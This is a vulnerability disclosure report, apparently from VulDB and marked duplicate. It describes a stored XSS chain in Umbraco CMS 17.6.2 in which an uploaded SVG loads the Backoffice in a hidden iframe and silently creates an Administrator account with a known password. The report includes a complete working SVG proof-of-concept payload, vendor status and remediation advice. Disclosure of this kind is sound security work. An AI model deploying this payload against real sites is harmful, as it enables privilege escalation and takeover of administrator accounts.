| Title | Umbraco A/S Umbraco CMS 17.6.2 LTS (latest stable version at the test time) Stored XSS Leading to Administrator Account Creation |
|---|
| Description |
SEVERITY
CVSS 3.1: 8.7 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CWE
CWE-79: Stored Cross-Site Scripting
CWE-434: Unrestricted Upload of File with Dangerous Type
CWE-1021: Missing X-Frame-Options (iframe Injection)
VULNERABILITY CLASS
Stored XSS + iframe Session Riding + Silent Privilege Escalation
SUMMARY
Umbraco CMS v17.6.2 LTS (default installation) allows an Editor-role user to silently create a new Administrator account with a known password by uploading a malicious SVG file and tricking an Administrator into opening its public URL. The attack exploits the combination of unsanitized SVG serving, missing X-Frame-Options on the Backoffice, and the Management API accepting a fixed known Bearer token value while validating authentication via HttpOnly session cookies.
DESCRIPTION
Three independent weaknesses combine to enable this attack:
1. UNSANITIZED SVG SERVING (CWE-434 + CWE-79)
Editor-role users can upload SVG files via Media Management. Uploaded SVGs are stored without sanitization and served publicly without authentication with:
- Content-Type: image/svg+xml (triggers active rendering in the browser)
- No Content-Security-Policy
- No Content-Disposition: attachment
- No X-Content-Type-Options: nosniff
This allows JavaScript embedded in the SVG to execute in the same origin as the Umbraco Backoffice (e.g., https://target.com).
2. MISSING X-FRAME-OPTIONS (CWE-1021)
The Umbraco Backoffice (/umbraco) has no X-Frame-Options header and no Content-Security-Policy frame-ancestors directive. This allows the malicious SVG to inject a hidden iframe that loads the full Backoffice application in the context of the victim's authenticated session.
3. FIXED BEARER TOKEN VALUE
Umbraco v14+ uses an OAuth PKCE-based Backoffice SPA. The real access token is stored in HttpOnly cookies. However, the Management API accepts the fixed symbolic string "Bearer [redacted]" as the Authorization header, which signals the server to validate authentication from the HttpOnly cookie instead. Since the iframe shares the same origin as the Backoffice, the browser automatically sends the victim's HttpOnly session cookies with every request from the iframe, allowing the attacker's JavaScript to make fully authenticated Management API calls without knowing or stealing the actual token.
ATTACK CHAIN (FULLY CONFIRMED)
Step 1: Editor uploads malicious SVG via:
Media > Media (+) > Vector Graphics (SVG)
Step 2: SVG URL is publicly accessible without authentication:
https://target.com/media/<id>/poc.svg
Step 3: Victim (Administrator) opens the URL while logged in to the Backoffice.
Step 4: SVG JavaScript injects a hidden 1x1 pixel iframe loading /umbraco.
No X-Frame-Options is present to block this.
Victim's HttpOnly session cookies are sent automatically by the browser.
Step 5: After SPA initialization, the payload executes three silent API calls:
a) GET /umbraco/management/api/v1/user-group?skip=0&take=100
Retrieves the Administrators group ID dynamically (no hardcoded values).
Response: HTTP 200 OK
b) POST /umbraco/management/api/v1/user
Creates a new Administrator account silently.
Body: { email, userName, name, kind: "Default", userGroupIds: [Administrators] }
Response: HTTP 201 Created
Header: Umb-Generated-Resource: <new-user-id>
c) POST /umbraco/management/api/v1/user/<new-user-id>/change-password
Sets a known password on the newly created account.
Body: { newPassword: "<attacker-chosen-password>" }
Response: HTTP 200 OK
Step 6: Attacker logs in with the new Administrator account.
Full Backoffice access confirmed.
Victim has no indication the attack occurred.
No error, no notification, no visible change to the victim's session.
CONFIRMED EVIDENCE
- HTTP 201 on POST /umbraco/management/api/v1/user
- HTTP 200 on POST .../change-password
- New account visible in Users section: Administrators + Sensitive data roles
- Attack is completely silent to the victim
RESPONSE HEADERS ON MEDIA PATH (CONFIRMED)
HTTP/1.1 200 OK
Content-Type: image/svg+xml
Server: Kestrel
[No Content-Security-Policy]
[No Content-Disposition]
[No X-Content-Type-Options]
BACKOFFICE RESPONSE HEADERS (CONFIRMED)
[No X-Frame-Options]
[No Content-Security-Policy: frame-ancestors]
DIFFERENCE FROM PRIOR CVEs
CVE-2023-49279 and CVE-2025-67288 documented this entry point with limited impact described as "scripts can be executed if a user opens the file." Neither CVE documented or proved unauthorized account creation or privilege escalation.
This submission is the first to document and confirm:
1. iframe injection exploiting missing X-Frame-Options (CWE-1021, not present in any prior Umbraco CVE)
2. Fixed Bearer [redacted] value enabling session riding without token theft
3. Silent creation of a new Administrator account (HTTP 201 confirmed)
4. Password assignment on the new account (HTTP 200 confirmed)
5. Impact on v17.6.2 LTS (the current LTS, not covered by any prior CVE)
PROOF OF CONCEPT
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<script type="text/javascript">
<![CDATA[
var f = document.createElementNS("http://www.w3.org/1999/xhtml", "iframe");
f.setAttribute("src", location.origin + "/umbraco");
f.setAttribute("style", "position:fixed;top:0;left:0;width:1px;height:1px;border:none;");
f.addEventListener("load", function() {
setTimeout(function() {
var iw = f.contentWindow;
var h = { "Authorization": "Bearer [redacted]", "Content-Type": "application/json" };
iw.fetch("/umbraco/management/api/v1/user-group?skip=0&take=100", {
credentials: "include", headers: h
})
.then(function(r) { return r.json(); })
.then(function(g) {
var ag = g.items.find(function(x) { return x.name === "Administrators"; });
if (!ag) return;
return iw.fetch("/umbraco/management/api/v1/user", {
method: "POST", credentials: "include", headers: h,
body: JSON.stringify({
email: "[email protected]",
userName: "[email protected]",
name: "attacker",
kind: "Default",
userGroupIds: [{ "id": ag.id }]
})
});
})
.then(function(r) {
if (!r) return;
var id = r.headers.get("Umb-Generated-Resource");
if (!id) return;
return iw.fetch("/umbraco/management/api/v1/user/" + id + "/change-password", {
method: "POST", credentials: "include", headers: h,
body: JSON.stringify({ newPassword: "Pwned1234!" })
});
})
.catch(function() {});
}, 8000);
});
document.documentElement.appendChild(f);
]]>
</script>
</svg>
VENDOR STATUS
Reported to vendor: September 4, 2026
Vendor response: "by design" (file validation is user responsibility)
Vendor did not dispute the confirmed impact (silent Administrator account creation)
No patch issued as of submission date
Public disclosure deadline: December 3, 2026
REMEDIATION
1. Sanitize SVG content server-side on upload (remove script elements and event handlers)
2. Add X-Frame-Options: DENY to the Backoffice
3. Add Content-Security-Policy: frame-ancestors 'none' to the Backoffice
4. Serve media files from a separate origin that does not share session context with the Backoffice
5. Add Content-Security-Policy and X-Content-Type-Options: nosniff to the /media/ serving path
|
|---|
| User | Mesh3l (UID 101319) |
|---|
| Submission | 10/01/2026 00:54 (19 days ago) |
|---|
| Moderation | 10/20/2026 08:36 (19 days later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 247631 [Umbraco CMS up to 12.1.x SVG File cross site scripting] |
|---|
| Points | 0 |
|---|